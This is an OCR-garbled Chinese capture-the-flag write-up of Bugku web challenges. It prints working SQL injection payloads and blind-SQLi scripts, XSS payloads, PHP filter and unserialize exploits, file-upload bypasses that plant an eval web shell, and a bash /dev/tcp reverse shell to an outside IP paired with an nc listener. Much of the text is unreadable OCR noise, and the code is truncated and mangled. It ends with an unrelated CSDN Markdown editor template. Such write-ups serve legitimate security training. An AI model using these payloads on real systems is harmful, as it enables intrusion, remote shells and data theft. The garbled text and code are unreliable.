D I - 1-|- 1= 1246670 % 20667 |-, - |-
html  body divﬂ | = i =
i |Console X

5 RS F B B fa B Kphp T




<?phpif(isset($_GET['v1) && isset($_GET['v2]) && isset($_GET[V3)){ $v1=$_GET[v1]; $v2=$_GET[v2]; $v3=$_GET[

T o © o No oA~ WwN 2

—_
N

13

FIH £ g iimd5 55K BT AL Mstremp I B Hgetiif, stremp (B4, F/HE) ==0, REHEANIHiEpayloadin F

http://47.93.190.246:49162/?v1=QNKCDZ0&v2=2406107088&v3[]=0

5 2lflag

SKCTF{Php_1s_tH3 B3St_L4NgUag3}

G E W

RAPBTEN, RBEEFFEABAST ...
JeRZikunion &), WXFIE, KIENFI



b Execute ‘

Enable Post data [_| Enable Referrer

Post data l id="union select 1,1,1,1#

=)

1,2,3... ‘

BRI ER

RJEWE DU ERREN R, W LR 2 4251 B A)
33

id='union select (select SCHEMA_NAME from information_schema.SCHEMATA limit 1,1),1,1,1#

=

id="union select (select tableNAME from information_schema.tables limit 40,1),1,1,1# #{l4g {1 B 51 5

BINBRAKRE TE T A

#coding:utf-8import requestsimport reurl="http://120.24.86.145:8002/chengjidan/'data = {'pwd':11111}content = requests.post(url,de



Do DD © o N O WN =

—
I

15
16
17

WEEXAHE, fHH—Lk

id=-1' union select 1,2,3, group_concat(column_name) from information_schema.columns where table_name=0x666c3467#% 5B

w5 HEAMEIT], payload

id='union select (select skctf_flag from fl4g limit 0,1),1,1,1#

BUGKU{Sql_INJECTON_4813drd8hz4}

[E i 3% B A T sqlmap postiE NI 5, #IEEE
sqlmap ¥ postiE \ 77 ¥
Web6

EANEEBHRBREE, —F BB KIheadersH Kiflag, #R/EbasebAff# Fiikposties, 55— MHIARAT T, HEZWE,
XEFEFE—NEE,
MM R, IR Y7 1 IR fEcookie R 2R ALHT .. B AW .. FpythonS A (%, FEM E&wE.  FEMELSE. . FEME

JEIAR 0T


http://blog.csdn.net/qq_35078631/article/details/72865354

#coding:utf-8import requests,base64import reurl="http://120.24.86.145:8002/web6/'value=[0]*1000000s=requests.Session()content

Do XD © N O WwN >

—
N

flag

KEY{111dd62fcd377076be18a}

Cookielx¥m? ? ?

i B fcookie i, B EHEM TR —MEEOCE. HP AT LLE Elfilenamebase64 N G A A, £33 MliRline 2REFITEH,
RIEEAZ R index. php 2 & .

#coding:utf-8import requests,base64import rehtml="url="http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgu

N XS © N oM WN =

8 3index.php KA 0T



<?phperror_reporting(0);$file=base64_decode(isset($_GET['filename'))?$_GET['filename']:"");$line=isset($_GET['line"))?intval($_G

Do XD © N O WwN >

—
N

15
16
17
18
19

RILH R i _E—~cookie, ikkeys.phpI NEXHFIFRF, 4R/5 HiEELEkeys.phpBI A, payloadil

#coding:utf-8import requests,base64import res=requests.Session()cookies={'margin':'margin'}content=s.get("http://120.24.86.145:&

0 N o o b~ ODN -

flag

KEY{key_keys}

XSS

BAVFIRAIG T LLE B R AT



<script> var s=""; document.getElementByld('s").innerHTML = s;</script>

RIERMNBRZREsE X, HESEhRELHIE

http://103.238.227.13:10089/?id=xx

REZsEH, BRBAFEZRNLE. ..
ARG BATE R KR, KILAT LAk Elpayload

http://103.238.227.13:10089/?id=\u003cimg src=1 onerror=alert(_key_)\u003e

PUONE&EMIE < MT, <M &t B, WA A4, U gk,

http://103.238.227.13:10089/?id=\u003cimg%20src=1%20onclick=alert(_key_)\u003e

W47
never give up

BEANREAREBE R, FI2EFER, ZEIER1phm? RER—T, RAEFERRIZEET . REHbupil—T&, K3



Request Response

Raw | Headers | Hex Raw | Headers | Hex | HIML Render]

SET /test/lp. html HTTP/1.1 Last-Modified: Mon, 15 May 2017 15:27:45 GMT
dost: 120,24, 86,145:8006 Connection: close

Jser-Agent: Mozilla/5.0 (¥11: Ubuntu: Linux x86 64: rv:54.0) Gecko/20100101 Firefox/54.0 Content-Length: 1371

\ccept: text/html,application/xhtml+xml,applications/xml;g=0,9,%/#%;q=0,8
\ccept-Language: en-US.en:g=0.5 <HTML=

\ccept-Encoding: gzip, deflate <HEAD=

tonnection: close =SCRIPT LANGUAGE="Javascript "=

Jpgrade-Insecure-Requests: 1 P

L

var Words

="%3Cscript%3Ewindow. Location. href:30%27htt ps3A/ /www. bugku. con’:27%3B%3C/ scripts3E%20%0A%3C
%21~ - JTLy JTNCaWYLHj gL Hj ELHj Rf ROVUITVCITI3aW0LHj cLNUOLH] KLHEELNOTI1HEELHDL o ZWFkZ XTI Hj gLHj dHb
2Nhd6lvbiuzQSuyHGh1bGxvLnBocCUZRMLkITHEHSUY Ny Uy 0SUZ0iUw0SUWOWV4aXOLHj gLHj KLHOTTHEELNOQTHEE
1Hj RpZCUZRCUYNF9HRVOL NUTLHj dpZCUyNy U1RCUZ0i wQSUYNGELHOOT Hj RFROVUITVCITI3YSUyNYULRCUZ0 i
SUyNGT1HOOLHj RFROVUITVCITI3YiUyNyU1RCUZ01itwOWL mITT4c3RyaXBycyUy0CUYNGELHKHLH] cuJTI3ITISITT
5JTBBITACITBBITASZWNobyUyHCUyN25vITTwbm81Hj BubyUyHGS5v ITIwbm&1 Hj BubyUyHGSvITIZITNCITBBITASC
nVOdXJuITIwITNCITBBITAEITBBITIOZGF OYSUyHCUZzRCUYHEBmak x1 X2d1 dF9j b2502WS0cy Uy 0CUyNGELHKHLHG d
yITI3ITISITNCITBBaWYLHj gLHj RkYXRhITHE JTNEITIyVnVna3UlHj BpcyUyHGEL Hj BuaWNl JTIwcGxhdGVmb3 3t 3
TIxITIy ITIwYWSkITIwITI0aWOTHOOLHOOwW ITIwYWSk ITIwc 3Ry bGVuITI4 ITIOYiUy 0SUZRTULH] BhbmOLHj Bl cmV
naSUy0CUyHj ExHSUyHi5zdi JzdHT1 Hj gl Hj RiITIDHCUY0=ELHj KLHKMLHj TxHTEGITTy ITTSITIWYWSk ITTwc3Vic
3Ry JTI4ITIOYilUy0zALHkHx ITISITIx ITHENCUY 0SUwOSU30ilw0SUWOX Il cXVpcnULHj gLHj JnNGuwy Y THnLnR4dCU
yHiUy0SUz0ilw0SUSRCUWOWVSCZULHEELNOITHEELHDLwcml ud CUyHCUyHnSLdnVy ITIwbmVZZXTLHj BuZXZ1L cillyH
GdpdmUTHj BLcCUyHCUyHSUyHSUYHSUYHiUz 01w QSU3RCUWOSUWOSUWOSUZRIUZRO% 3% 3D -%3E"

function OutWord()

{

var HewWords;

NewWords = unescape(Words);
docunent . write(NewWords);

}
OutWord();
ff -

</ SCRIPT=
</HEAD=
<BODY=
=/BODY=>
=/HTML=

PL

i SRR G urldecode— T, RIL—/ baseb4 1% X, %GB Turldecode, 83— @G

if!$_GET['id']){ header('Location: hello.php?id=1"); exit();}$id=$_GET['id'];$a=$_GET['a'];$b=$_GET['b'];if(stripos($a,".’)){ ech

N N NN
XN 20 © o N oA~ ®®N2xO ©® NGO RODNH -

KERFN T ... —HEEGRY, BRERREEETHBATLL...



& c | @ 120.24.86.145:8006/test/Fal2a3g.txt

flag{tHis_1iS_THe fLaG}

flag{tHis_iS_THe_fLaG}

BRIEMBRAAWE! R IA KB M

1. BB B Mid==0 F0=="7% %132 $data = @file_get_contents($a,'r');$data=="bugku is a nice plateform!"XF|f T file_get cont

N XS © o N o WwN =

@Load URL | http://120.24.86.145:8006/test/hello.php?id="flag"
. &a=php:/{input
% splitURL 8b=2%0023338

+) Execute
Enable Post data [ |Enable Referrer

Post data bugku is a nice plateform!

flag{tHis_iS_THe_fLaG}

welcome to bugkuctf

B e TEF 120 5 2R



<lI-- $user =$_ GET["txt"]; $file =$_GET["file"]; $pass =$_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')

[ INT v

N XS © o N g wWN =

RIS

| = & SQLv XSSv Encryption~ Encodingv Otherv

i Load URL
# split URL

») Execute

http://120.24.86.145:8006/test1/index.php?
txt=php://input
&file=hint.php

Enable Post data [ |Enable Referrer

Post data

hello friend!

e Load URL
P split URL

v Execute

Post data

hello friend!

PD9waHAgIAOKICANCmNsSYXNzIEZsYWdT7Ly9mbGFnLnBocCAgDQogl CAgcH

welcome to the bugkuctf

RIBAT 2R3, FHA—TFXHEE, ARMT

J http://120.24.86.145:8006/test1/index.php?
txt=php://input
&file=php://filter/convert.base64-encode/resource=hint.php

Enable Postdata [ |Enable Referrer

[ welcome to the bugkuctf

base64 %153

="wel



<?php class Flag{//flag.php  public $file;  public function __tostring(){ if(isset($this->file)){ echo file_get_content:

Do 2o © N W N

R T LM toStringZ 4, HEAKAMERZLHER ! & E2Lindex phpiliiE 7, TREEHE

i@ Load URL | http://120.24.86.145:8006/test1/findex.php?
. txt=php://input
% splitURL &File=php://filter/convert.base64-encode/resource=index.php

») Execute

Enable Post data [ |Enable Referrer

Post data welcome to the bugkuctf

<?php $txt =$_GET["txt"]; $file =$_GET["file"]; $password =$_ GET["password"]; if(isset($txt)&&(file_get contents($txt,'r')==="we



33 IsorRonll0® N0 0w N -

N
o

R R FFILRIR R K toSting/@ . A& — TpasswordfE, BHOEMULEIR

' http://120.24.86.145:8006/test1/index.php?

@ Load URL
) txt=php:/finput
% split URL &file=hint.php
v} Execute &password=0:4:"Flag":1:{s:4:"file";s:8:"Flag.php";}r]
A Enable Post data [ |Enable Referrer
Post data " welcome to the bugkuctf
hello friend!
good

Jtestl/index . php?txt=php://input &file=hint . php&password=0:4:%22Flag%22:1:{s: 4:%22f11e%22;s:

8:%22flag. php%22;F HITR/L.1

Host: 120,24, 86.145: 8006

User-Agent: Mozilla/5.0 (¥11; Ubuntu; Linux xB86_64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*%;q=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip., deflate

Content -Type: application/x-www-form-urlencoded

Content -Length: 23

Connection: clase

flag{php_is_the_best_language}

-
a8

Server: nginx

Date: Thu, ©3 Aug 2017 09;49;30 GMT
Content -Type: text/html

Connection: close

Content -Length: 379

hello friend!<bhr= <=7?php
//flag{php_is_the_best_language}
Y==hbr=good



A —A)iE

BILH—a)E, —FHERUAERE EEXN—AERE, BRRIAAR, BRARFUEENAK, %
iR http://120.24.86.145:8010/2s=phpinfo() & BT LAFIFH
MG A E 5%, KA YT, system(‘1s”)BEH R, TIRER BT ERIRS] TR, TRIKB) T Hphpik BUCHEFIR I 7 E
23333

http://120.24.86.145:8010/?s=print_r(glob("*"))

@l Load URL | http://120.24.86.145:8010/?s=print_r(glob("*"))
% split URL
+) Execute

[JEnable Post data [ |Enable Referrer

Array ([0] == conn [1] == flag.txt [2] == index.php [3] == xuan.php)

G E lag BN AT IR, 2243 print_r(file(flag.txt)) /R AT P &3 3] show_source i) J5

http://120.24.86.145:8010/?s=show_source("flag.txt")

BUGKU{bugku_web_009801_a}

FhhGeid
5B BIURAD

<?phphighlight_file(‘flag.php');$_GET['id'] = urldecode($_GET['id']);$flag = 'flag{xooccccccccccocccdt’sif (isset($_GET['uname']) and is



© 0o N o 0o B~ ON -

-~ A A A A A A A A
© 0O N OO o0 W N -~ O

HIGFEHTERT == XNEFERERAUTER, FRA===FKN%ES, HEshal®EAEMNRFE, TEEAHELH, TRUTH
&5 Zlflag

@ Load URL | http://120.24.86.145:8002/web7/
?id=margin

& Ssplit URL &uname[]=233
») Execute |

% Enable Post data [ |Enable Referrer
Post data

passwd[]=332

flag{HACK_45hhs_213sDD}

Web8

XAMEBERE R, FP T RIS E iR phpfile_get contentsHIRF A LME =¥ . R EEWEIN T B2 ag



@ Load URL | http://120.24.86.145:8002/web8/?

. ac=1
& Split URL &Fn=php://input
+) Execute
@ Enable Post data [ |Enable Referrer
Post data

1

BRI IR Xt ? BERE A 23R

flag{3cfb7a90fc0de31}

1

TR IEN?

A EEENRIENRERKNA, BRREG. . HRHAERASW . PO AE —MRRMMAHERT, EATTTHRES

<?php highlight_file('2.php');$key="KEY{ 1$IM= preg_match("/key.*key.{4,7}key:\.\/(.*key)[a-Z][[:punct:]]/i",

0 N o o b~ ODN -

B RHEIIE R preg_matchrH i) P9 &0, X BRI —T. F&FEH AN

. 1 REREERTH RN FHEEEFM, Wkey

. 2 RBERTFH

. 3 RE-ANB—FFIFHERHIAKKE, WA~ FEHRERLERR
. 4VRET

. 5 [a-ZfXFKa-zH ER—NERF

. 6.[Lpunct [REBER—NF5, BEEMFS

. 7 [iRFERNE R EUR

. 8.{4-TYRFK[0-9]H B 4L H B IR B R 4-7TIR

RIERATE QBN BARLAE— T LT



http://120.24.86.145:8002/web10/?id=keyssssskey4567key:/s/ssssskeya@

KEY{0x0SIOPh550afc}

% 41 >
AEERAY, RIEZ:HdirsearchH##i—Tk%E, KWEF

arget:

[10:41:12] Starting:

SR JE B F robots.txt

@ Load URL | http://120.24.86.145:8002/web13/robots.txt
P split URL

) Execute

[JEnable Postdata [ |Enable Referrer

User-agent: *
Disallow: /resusl.php

# Eresusl.php

BSEERE RIS T, A aBfE? ? 2 REHBRFBT T, BIrEEMadmin.. #HiEx=admin.. g1, ..



i@ Load URL | http://120.24.86.145:8002/web13//resusl.php?x=admin
¥ split URL

») Execute

["JEnable Post data [_|Enable Referrer

flag(ctf_0098_Ikji-s)

3k getshell

BB B %00 747 M, ERBM, RMTRA, BEIMEET —TRENER.
HARERERX T LEEA

POST /webS/index.php HTTR/1.1

Host: 120, 24.86.145:8002

User-Agent: Mozilla/5.0 (¥11:; Ubuntu; Linux xB6 64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/shtml,application/xhtml+xml,application/xml;g=0.9,%/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content -Type: multipart/form-data;

boundary=----------------- - 21452903801952016093222251034
Content-Length: 340

Referer: http://120.24, 86 145:8002/web3/index . php

Connection: close

Upgrade-Insecure-Requests: 1

----------------------------- 21452903801 98201 6093222351034
Content -Disposition: form-data; name="file"; filename="flag|png"
Content-Type: image/png

————————————————————————————— 21452903801 98201 6093222251034
Content -Disposition: form-data; name="submit"

Submit
----------------------------- 21452903501 98201 6093222251034 -

T

HTTR/1.1 200 0K

Server: nginx

Date: Tue, 0B Aug 2017 03:17:23 GMT
Content -Type: text/html

Connection: close

Content -Length: 387

=html=

=hody=

=form action="index php" method="post" enctype="multipart/form-data"=>
My name is margin, give me a image file nmot a php<br=

<br=>

<input type="file" name="file" id="file" /=

=input type="submit" name="submit" walue="Submit" /=

<=/farmn=

Upload Success<hr=Stored in: <a href='upload/20170808111723_948.3pg’
target="_blank "' =upload/20170808111723_948. jpg<br /=</body=
=fhtml=

RO A%, ik EEfilename s iphp A
php2, php3, php4, php5, phps, pht, phtm, phtml $i% F i & B 4 8 ..
SE KRB, i ETHK Content-Type: multipart/form-data; BB KNS S IER, BN Content-Type: Multipart/form-data;
RIEH - AN— MR, KIphp5H] LAIFIH



g n e emmemme | T ———

POST fweb3/index.php HTTR/1.1 HTTP/1.1 200 OK

i
Host: 120,24,86,145:8002 - Server: nginx
User-Agent: Mozilla/S. 0 (¥11; Ubumtu; Linux x86_64; rv:54,0) Gecko/20100101 Firefox/54.0 Date: Tue, 0B Aug 2017 03;25;52 GMT
Accept: text/html.application/xhtml+xml,application/xml;g=0.9,%/%;q=0.8 Content -Type: text/html
Accept-Language: en-US,en;g=0.5 Connection: close
Accept-Encoding: gzip, deflate Content-Length: 268
Content-Type: Multipart/form-data:
boundary=-------------ooooooiiiiooon 21452903801 98201 6093222251034 <html=
Content-Length: 340 <body=
Referer: http://120.24.86,145:8002/web9/index.php =form action="dindex.php" method="post" enctype="multipart/form-data"=
Connection: close Hy name is margin,give me a image file not a php<br=
Upgrade-Insecure-Requests: 1 <br=
<input type="file" name="file" id="file" /=
————————————————————————————— 21452903801982016093222251034 =input type="submit" name="submit" value="Submit" /=
Content-Disposition: form-data; name="file"; filename="flag.phpS!' =/form=
Content-Type: image/png
23333 KEY{bb35dc123820e}
----------------------------- 21452903801982016093222251034
Content-Disposition: form-data; name="submit"
Submit
----------------------------- 214525036801962016093222251034- -
KEY{bb35dc123820¢}

flag.php
NTUWEEH, BEABRIRLE . Rorhintf2BREH.. RERA

http://120.24.86.145:8002/flagphp/?hint=0

USRS ? WEANMFTRNFAZNERRARZEmM? ? ?
GEEIN AR

<?phperror_reporting(0);include_once("flag.php");$cookie = $_COOKIE['ISecer'];if(isset($_GET['hint'])){ show_source(_ FILE )



T 0 © o No oM wWwN =

W W W W W WNDNDNDNDDNDDNDNDDNDNDNND=2 =2 A& A A a a
a A WO N 20 © 00N O O b WN 20 © 0oNO O & DN

— IR L AL A 1Secerwwmisecer.com RRFFI—THEE T, HELFERXAHK.. REHE—T, KAXNMIKEYRBMELE)F
T, BT CAEBT IR B2 S5 T e, B4 L RFIIC R TE? ? 2 2
F) FH burpIN & 5 in_E.Cookiefd B /T

Cookie: |Secer:3:0:"";

flag{unserialize_by_virink}



web15
HAREDEL

error_reporting(0);function getlp(){$ip = ";if(isset($_SERVER['HTTP_X FORWARDED_FOR')){$ip =$_SERVER['HTTP_X FORWA

. N, . NS, N N . N (. U —
© ® N OO N ®N O © NGO RAODND-=

N NN D DN DNDNDDN
N oo o0k WN -~ O

BREIMEAEE, BN EEE, AMBEEENEQFEREATLRI (BB RERZEinsertH)

R RO R O IR I R E I @ + (select case when (substring((select flag
y from 1 for 1)='f"') then sleep(5) else 1 end) and '1'='1K
Query OK, 1 row affected (5.81 sec)

mysql> |

1R A5 S0 W ) 45 B2 ) v N BT LA F case when....then  #4i&1E 4]
XG5 A SR 0
XANEBAERKIE FEA, ROEBAEX
http://blog.csdn.net/qq_35078631/article/details/54773769


http://blog.csdn.net/qq_35078631/article/details/54773769

RERUG AT, BRBERRAAENE T, BIRERIE RS RA [T ER.

import requestsimport stringwords = string.lowercase + string.uppercase + string.digitsurl = 'http://120.24.86.145:8002/web15/'answ

Do XD © N O WN

N N N N D A aAa a a
W N = O © 00N O O >

flag{cdbf14c9551d5be5612f7bb5d2867853}

X a2

BERBEATRE, F12RI T JEE+F upload.phpii H./upload/v]iE, HE—FG XM LfE, (EEEE KRR EXHaEEH ! e
TENetwork H %3 7 X4

¥ Response Headers view source
Content-Encoding: gzip
Content-Length: 905
Content-Type: text/html; charset=UTF-8
Date: Tue, 08 Aug 2017 07:46:05 GMT
Keep-Alive: timeout=38
Server: Apache/2.4.10 (Debian)
Tip: &#105;6#110;86#99;6#108 ;#1107 ;6#100; 4#101 ; &#46; &#112 ;63104 ; &#112
Vary: Accept-Encoding

HRAMip#e SUd SRR include.php AREATERER A B E EZHK—TF



gE X T — T R R IRBEINANVEN. . [5)3 _F4% K BERIE . .
FEERADND (F EFEEBITMIMERLR, HESHRAETED
RITIET <2php M 2> iX B4 H R Rh S ik

<?=@eval($_POST['cmd"]);<script language="php">eval($_POST['cmd']);</script>

2l L L L L - L L

POST /index.php?file=upload.php HTTP/ L.l ' HTTP/ 1.l 200 OK

Host: 47.93.150.246:491&¢ & Date: Tue, 05 Sep 2017 13:21:4Z GHT
User-Agent: Mozilla/5.0 (Windows NT 10.0: WOWE4: rv:55.0) Gecko/Z0100101 Firefox/55.0 Server: Apache/2.4.10 (Debian)
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 Vary: hccept-Encoding

Accept-Language: zh—CM, zh;q=0.8,en-US;q=0.5, en; q=0.3
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=

Content-Length: 211

Peferer: http://47.93.190.246:4916¢/ index.php?file=upload.php
Connection: keep-alive

Upgrade-Insscure-Requests: 1

1£2534895014716

162534950147 16
Content-Disposition: form-data; name="file":
Content-Type: image/jpeg

filename="111.png"

<?=@eval (§ POST['cmd']);

[153]

oy

Content-Length: 554
Keep-Alive: timsout=5, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

<!-- upload.php -->
<html>
<head:>
<meta charset="utf-8"/
<meta http-squiv="x-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=l, max
<Citle>UPLOAD</title>
</ head>
<form action="" enctype="multipart/form-data" method="post"
name="upload’>file: <input type="fils" name="file" /><br>
<input type="submit" walue="upload" /></form>
O00jpg gif png OOOOO0 OOOOOOO0100KiB<b:>
file upload successful!Save in: upload/201709050121425643.png

/

SR J5 Fupload.php 1 &R B8 Llphpiz 471, B LA E Hinclude.php(index.php)H Hifile 28 & A & upload H T B H 3o !

@ Load URL
& split URL

’ Execute

http://47.93.190.246:49166/index.php?file=upload/201709050119525905.png

Enable Post data [_] Enable Referrer

N

Post data cmd=system('ls");

e

about hello.php index.php this is th3 F14g 154f65sd4g35f4d6f43.txt upload upload.php

)5 BRI BT

SKCTF{uP104D_1nclud3_426fh8_is_Fun}

sqliEA 2

B %% T — Fadminfladmin, & IIRRpassword4 i



POST /web2/login.php HTTRF/1.1 Iy HTTP/1.1 200 OK
Host: 120, 24,86,145:8007 - Server: nginx

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:54.0) Gecko/20100101 Firefox/54.0 Date: Tue, OB Aug 2017 0B8:18:29 GMT

Accept: text/html,application/xhtml+xml,application/xml jg=0.9,%/*;q=0.8 Content-Type: text/html;charset=utf-&

Accept-Language: en-US,en;g=0.5 Connection: close

Accept-Encoding: gzip, deflate Expires: Thu, 19 Nov 1981 88:52:00 GMT

Content-Type: application/x-www-form-urlencoded Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content -Length: 24 Pragma: no-cache

Referer: http://120.24, 86,145 8007/web2/index . php Content-Length: 81

Cookie: PHPSESSID=atjud3k3md]fn99gblfreSneks8dkbh7a

Connection: close =script> alert('password error!!@_@');parent.location. href="index.php'; </script=

Upgrade-Insecure-Requests: 1

uname=adnin&passwd=admin

Pt BladminiX f~usernamei& f& £ 7E 1 -
WK — TN, fEusername N b '# RIVIERN R ILIEEFFF!

HTTP/1,1 200 0K

Server: nginx

Date: Tue, 08 Aug 2017 03:20:01 GMT

Content-Type: text/shtml;charset=utf-8

Connection: close

Expires: Thu, 19 Nov 1981 0&:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 84

=script= alert('illegal character!!@_@');parent.location. href="'index.php'; =/script=

FWEN mfEusername, (ERZISIE T HRLENE? R T HEWRBFHEK. . EREBRT K4 .. X554 2 NG HME
W1 vt ! DS_Store R HYRIEME? 2 ?
HREFEET, METH 4 ds_store_exp.pyLE, THTRIEL

http://126.24.86.145:8007 /web2f .BS_Store
http://120.24.86.145:8007 /web2flogin.php

http://120.24.86.145:8007 /web2/index.php
http: (/120.24,86.145:8007 /web2(flag
http://120.24.86.145:8007 /web2 /admin

ERpiEflagh.. B...

flag{sql_iNJEct_comMon3600!'}

HEMABWIAAMT —T, BREBEINT .. SERIE. FriifiwebH, FIBMRENEEUE! BOEA—BERE! ! !



[16:31:35] Starting:

http://120.24.86.145:8007 fweb2 fadmin/
../index.php
-> ..findex.php
-= ../index.php
-> http://120.24.86.145:8007 fweb2/css/
-> http://120.24.86.145:8007 /web2/fonts/
-> http://126.24.86.145:8007 /web2 fimage

-> http://120.24.86.145:8007 /web2/incl

-> http://120.24.86.145:8007 /web2/js/

DIERR...
login2

HABHTERNGAE, 2diRnLunion, FrAASRTTREEN, NE KK BB TERAEET. . 2 KRS & RLH .

username="union select md5(1),md5(1)#&password=1

— {15 T password it R username Imd5 N8, =T N4 RFEFHI? FEH...

<script=alert('login success!');parent.location. href='index.php';</script=

RIGBAEMRBR.. RIEUNREMET .. FRNEEBIET .. 2.
K% T B ] 4k 5

HIEmIE R

NS ERNAARSS

|Apache || T

BRT AU A AT HELL AT IR, FAXAN BB EEK, FrUABEARRATA AR HE S Kshell T, B2 FATAT PLES
KshelkE, XEEREID T —HRMshellf s, BARAITR TRECES, BiftpupilliEiiES, RAMNcHIER#M
shell, J7#0F



B SRR S 2% F Fnc i Wi 1

nc -l -p 8080 -vvv

FER A

|bash -i >& /dev/tcp/23.106.128.52/8080 0>&1

RIEM R Fshel I T ! ! ! ZEMRERITT

h file or directory

SKCTF{UniOn_@nd_cOmM4nD_exEc}

login3
RAREEMBREAT, HWEWT

username="1)M#&password=123

FHEEN, BUREHE, REfuz—RKEAALEERK, HESSRD, SWET= A<>BRE, mysqilllif

mysql> (select(ascii(mid((select(flag)from(flag))from(1)))<>102));+ +| (ascii(mid((select(flag



O Do Do © NN WwN =

R HE AN B

#!/usr/bin/env pythonimport requests,string,hashlib,reurl="http://47.93.190.246:49167/'sss=string.digits+string.lowercaseheaders={



Do DD © N M WN =

W W W W W NDNDNDNDDNDNDDNDNDNDN=22 2 A
A W N 2O © 0 NO O WN 20 © 0N O O b~

Z )18 Hipassword i # S B % 4, /15 2lflag

51b7a76d51e70b419f60d347 3fb6f200

RERERT !

2TV : 51b7a76d51e70b419f60d3473fH6f900
FERREEE |« oketf123456

BVEEE : md5

R 15§

| 2l A



SKCTF{b1iNd_SQL_iNJEction!}

MEEA
RIVEIRMEN, (BRI T — s K76, RBEENLET EH, BRROEmysqUrRete, AETHRERTHR! BFE
B!

http://103.238.227.13:10088/?id=1%0aand%0aextractvalue(1,concat(0x7e,(select%0a@@yversion),0x7e))

Bk, RERXBEEH, BN SEEMload_filel %y, HRRBANMRESHELHMEENEI, REBELDLHBIE
SEMSERT —TERER, BETHA, @ERFRFT[TEM LA hexA1T? 7 7 Z2TE TIRKITE. ..
FURXEREER

BREMHANTEREHFET call! http://blog.csdn.net/jiangjunshow

NwasLnt €Y #—r

REF! XRERE —REH *MarkdownZm 8 233 * T B A XKIE T . 0 B4R A8 22 3 o 47 £ B Markdowng 8 8%, W] AT 41 159
BEXEXE, T#— T Markdownif) 3 A E ¥ 501 .

AR

BATX Markdowngi 48 28 #EAT T — LTI REVR R SiBIESCRE, BR T nERIMarkdownZi 883 ThRE, FAIHEIN T I FILRHTIRE, HBh
RRESHEE:

1. EFKFEBR , BWREFTHSEER:

EREFLREREZHRBRESR, Markdown ¥ RBHA EFEBNEEER #TRR;
BWmy BAER e, AT ABKER BERERIAREXBEERR;

& F K KaTeXH AR B

BT 32 H R E ) mermaidiE 1 ThEEs

WY % 5% %% MarkdownC & T f8

BT E£R5EER. FREX. AESERER. EAXEBRSRERE S8, DREALTREXESHE
X 3 5 [a] 5

8. WY MESIR k.

N o o & o DN

Th fiE PR 2


https://blog.csdn.net/jiangjunshow/article/details/77338485

HW44:  Ctrl/Command +
HEff: Ctrl/Command +
BnfH:  Ctrl/Command  +
#HA:  Ctrl/Command +
FR@ll:  Ctrl/Command + Shift + H
FTFFI%: Ctrl/Command + Shift +
HRFFIFE: Ctrl/Command + Shift +
KAFIFE: Ctrl/Command + Shift +
WHARG:  Ctrl/Command  + Shift +
WHANEERE:  Ctrl/Command  + Shift +
WABEF:  Ctr/Command + Shift +

FEMAERE, FBT HREAR

HEWMANR # , T space Ja, BAERILIRE,
BWIN2IK # , HIET space J5, BHER2EIFE.
PABCEHE, BATZF6L AR . FBY T TOC B EAR— AN 5EEM H .

A B3R SCA B R
A A

- mw < N

& r X O O C

IR SCA o S
PRI IO
MR

E[ViEh &S

HoO isA& ik o

210z 4 R 2 1024,
BAEESE A
BEEE: link.

L3P

HRSTHI B
AR, BATAT LR EMERE, BATEM T B F I .


https://mp.csdn.net

mA A — BRI A A
LMEWETE, S RIRERIRE A RER, FERRFRMEN /T4

// An highlighted block var foo = 'bar’;

AR — AN E SR SR

e BiH
e iH
e iH
1. BLEA1
2. BiH2
3. mH3
i RME%
M 5ERRAES
B — AR
— /M B R AR R IX A B :
i B Value
B i $1600
Fhl $12
g% $1

RENERS. BE. BA

R e JE
R eeeee- BE
(5 B4
£—3 E2H HE=75
% — 53 A B EoFINERELE BEFNEKEBE
SmartyPants

SmartyPants¥ASCIItx s 7 75 5% e 4 BB ED R AR sHTMLSE &k . 140

TYPE ASCII HTML
Single backticks ‘Isn't this fun?’ ‘Isn’t this fun?’
Quotes "Isn't this fun?" “Isn’t this fun?”

Dashes -- is en-dash, --- is em-dash —is en-dash, — is em-dash
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Text-to- HTML conversion tool
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https://khan.github.io/KaTeX/
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